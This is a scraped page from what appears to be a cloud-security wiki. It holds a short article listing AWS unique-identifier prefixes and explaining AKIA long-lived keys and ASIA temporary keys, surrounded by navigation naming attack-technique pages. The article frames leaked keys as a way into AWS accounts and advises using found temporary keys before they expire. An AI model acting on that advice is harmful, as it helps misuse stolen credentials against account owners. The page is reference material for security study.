href=../../enumeration/get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../../enumeration/whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Privilege Escalation Techniques </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/lambda-steal-iam-credentials/ class=md-nav__link> <span class=md-ellipsis> Steal IAM Credentials and Event Data from Lambda </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/local_ec2_priv_esc_through_user_data/ class=md-nav__link> <span class=md-ellipsis> EC2 Privilege Escalation Through User Data </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/ class=md-nav__link> <span class=md-ellipsis> DNS and CloudFront Domain Takeover via Deleted S3 Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/route53_modification_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> AWS API Call Hijacking via ACM-PCA </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3-bucket-replication-exfiltration/ class=md-nav__link> <span class=md-ellipsis> Exfiltrating S3 Data with Bucket Replication Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_server_access_logs/ class=md-nav__link> <span class=md-ellipsis> Data Exfiltration through S3 Server Access Logs </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/s3_streaming_copy/ class=md-nav__link> <span class=md-ellipsis> S3 Streaming Copy </span> </a> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3_13> <div class="md-nav__link md-nav__container"> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/ class="md-nav__link "> <span class=md-ellipsis> Misconfigured Resource Based Policies </span> </a> <label class="md-nav__link " for=__nav_2_3_13 id=__nav_2_3_13_label tabindex=0> <span class="md-nav__icon md-icon"></span> </label> </div> <nav class=md-nav data-md-level=3 aria-labelledby=__nav_2_3_13_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3_13> <span class="md-nav__icon md-icon"></span> Misconfigured Resource Based Policies </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploit_amplify_vulnerability_in_same_account_scenario/ class=md-nav__link> <span class=md-ellipsis> CVE-2024-28056: Exploit an AWS Amplify Vulnerability in Same-Account Scenarios </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploiting_misconfigured_gitlab_oidc_aws_iam_roles/ class=md-nav__link> <span class=md-ellipsis> Exploiting Misconfigured GitLab OIDC AWS IAM Roles </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/exploting_public_resources_attack_playbook/ class=md-nav__link> <span class=md-ellipsis> Exploiting Public AWS Resources Programmatically - The Playbook </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_ecr_resource_policy/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured ECR Resource Policies </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/Misconfigured_Resource-Based_Policies/misconfigured_iam_role_trust_policy_wildcard_principal/ class=md-nav__link> <span class=md-ellipsis> Abusing Misconfigured Role Trust Policies with a Wildcard Principal </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_4> <label class=md-nav__link for=__nav_2_4 id=__nav_2_4_label tabindex=0> <span class=md-ellipsis> Avoid Detection </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_4_label aria-expanded=false> <label class=md-nav__title for=__nav_2_4> <span class="md-nav__icon md-icon"></span> Avoid Detection </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-pentest/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Pentest Findings for the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/guardduty-tor-client/ class=md-nav__link> <span class=md-ellipsis> Bypass GuardDuty Tor Client Findings </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/modify-guardduty-config/ class=md-nav__link> <span class=md-ellipsis> Modify GuardDuty Configuration </span> </a> </li> <li class=md-nav__item> <a href=../../avoiding-detection/steal-keys-undetected/ class=md-nav__link> <span class=md-ellipsis> Bypass Credential Exfiltration Detection </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_5> <label class=md-nav__link for=__nav_2_5 id=__nav_2_5_label tabindex=0> <span class=md-ellipsis> Post Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_5_label aria-expanded=false> <label class=md-nav__title for=__nav_2_5> <span class="md-nav__icon md-icon"></span> Post Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../post_exploitation/create_a_console_session_from_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Create a Console Session from IAM Credentials </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/download_tools_and_exfiltrate_data_with_aws_cli/ class=md-nav__link> <span class=md-ellipsis> Download Tools and Exfiltrate Data with the AWS CLI </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/get_iam_creds_from_console_session/ class=md-nav__link> <span class=md-ellipsis> Get IAM Credentials from a Console Session </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/iam_persistence/ class=md-nav__link> <span class=md-ellipsis> AWS IAM Persistence Methods </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/intercept_ssm_communications/ class=md-nav__link> <span class=md-ellipsis> Intercept SSM Communications </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/lambda_persistence/ class=md-nav__link> <span class=md-ellipsis> Lambda Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/role-chain-juggling/ class=md-nav__link> <span class=md-ellipsis> Role Chain Juggling </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/run_shell_commands_on_ec2/ class=md-nav__link> <span class=md-ellipsis> Run Shell Commands on EC2 with Send Command or Session Manager </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/s3_acl_persistence/ class=md-nav__link> <span class=md-ellipsis> S3 File ACL Persistence </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/survive_access_key_deletion_with_sts_getfederationtoken/ class=md-nav__link> <span class=md-ellipsis> Survive Access Key Deletion with sts:GetFederationToken </span> </a> </li> <li class=md-nav__item> <a href=../../post_exploitation/user_data_script_persistence/ class=md-nav__link> <span class=md-ellipsis> User Data Script Persistence </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_6> <label class=md-nav__link for=__nav_2_6 id=__nav_2_6_label tabindex=0> <span class=md-ellipsis> Deprecated </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_6_label aria-expanded=false> <label class=md-nav__title for=__nav_2_6> <span class="md-nav__icon md-icon"></span> Deprecated </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../deprecated/stealth_perm_enum/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Enumerate Permissions without Logging to CloudTrail </span> </a> </li> <li class=md-nav__item> <a href=../../deprecated/whoami/ class=md-nav__link> <span class=md-ellipsis> [Deprecated] Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_7> <label class=md-nav__link for=__nav_2_7 id=__nav_2_7_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_7_label aria-expanded=false> <label class=md-nav__title for=__nav_2_7> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../capture_the_flag/cicdont/ class=md-nav__link> <span class=md-ellipsis> CI/CDon't </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_3> <label class=md-nav__link for=__nav_3 id=__nav_3_label tabindex=0> <span class=md-ellipsis> Azure </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_3_label aria-expanded=false> <label class=md-nav__title for=__nav_3> <span class="md-nav__icon md-icon"></span> Azure </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../azure/abusing-managed-identities/ class=md-nav__link> <span class=md-ellipsis> Abusing Managed Identities </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/anonymous-blob-access/ class=md-nav__link> <span class=md-ellipsis> Anonymous Blob Access </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Azure Active Directory Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#akia class=md-nav__link> <span class=md-ellipsis> AKIA </span> </a> </li> <li class=md-nav__item> <a href=#asia class=md-nav__link> <span class=md-ellipsis> ASIA </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/general-knowledge/iam-key-identifiers.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1 id=iam-id-identifiers>IAM ID Identifiers<a class=headerlink href=#iam-id-identifiers title="Permanent link">&para;</a></h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M18 22a2 2 0 0 0 2-2V4a2 2 0 0 0-2-2h-6v7L9.5 7.5 7 9V2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2z"/></svg></span> <strong>Additional Resources</strong></p> <hr> <p>Reference: <a href=https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_identifiers.html#identifiers-unique-ids>AWS Documentation: Unique Identifiers</a></p> </li> </ul> </div> <p>In AWS, different resources are assigned a "unique identifier". This identifier is a unique, 21 character value. The first four characters of the identifier are a prefix to denote the type of resource it represents.</p> <p>The full list of prefixes can be found below.</p> <table> <thead> <tr> <th>Prefix</th> <th>Entity Type</th> </tr> </thead> <tbody> <tr> <td>ABIA</td> <td>AWS STS service bearer token</td> </tr> <tr> <td>ACCA</td> <td>Context-specific credential</td> </tr> <tr> <td>AGPA</td> <td>Group</td> </tr> <tr> <td>AIDA</td> <td>IAM user</td> </tr> <tr> <td>AIPA</td> <td>Amazon EC2 instance profile</td> </tr> <tr> <td>AKIA</td> <td>Access key</td> </tr> <tr> <td>ANPA</td> <td>Managed policy</td> </tr> <tr> <td>ANVA</td> <td>Version in a managed policy</td> </tr> <tr> <td>APKA</td> <td>Public key</td> </tr> <tr> <td>AROA</td> <td>Role</td> </tr> <tr> <td>ASCA</td> <td>Certificate</td> </tr> <tr> <td>ASIA</td> <td>Temporary (AWS STS) keys</td> </tr> </tbody> </table> <p>From a security perspective, there are 2 primary prefixes which are important to know, <code>AKIA</code> and <code>ASIA</code>.</p> <h2 id=akia>AKIA<a class=headerlink href=#akia title="Permanent link">&para;</a></h2> <p>IAM credentials with the <code>AKIA</code> prefix belong to long lived access keys. These are associated with IAM users. These credentials can potentially be exposed and used by attackers. Because they do not expire by default, they serve as an excellent vehicle to gain initial access to an AWS environment.</p> <h2 id=asia>ASIA<a class=headerlink href=#asia title="Permanent link">&para;</a></h2> <p>IAM credentials with the <code>ASIA</code> prefix belong to short lived access keys which were generated using <a href=https://docs.aws.amazon.com/STS/latest/APIReference/welcome.html>STS</a>. These credentials last for a limited time. In the event you come across an access key prefixed with <code>ASIA</code>, a secret key, and a session token, make use of them quickly before they expire.</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">January 4, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">July 27, 2020</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 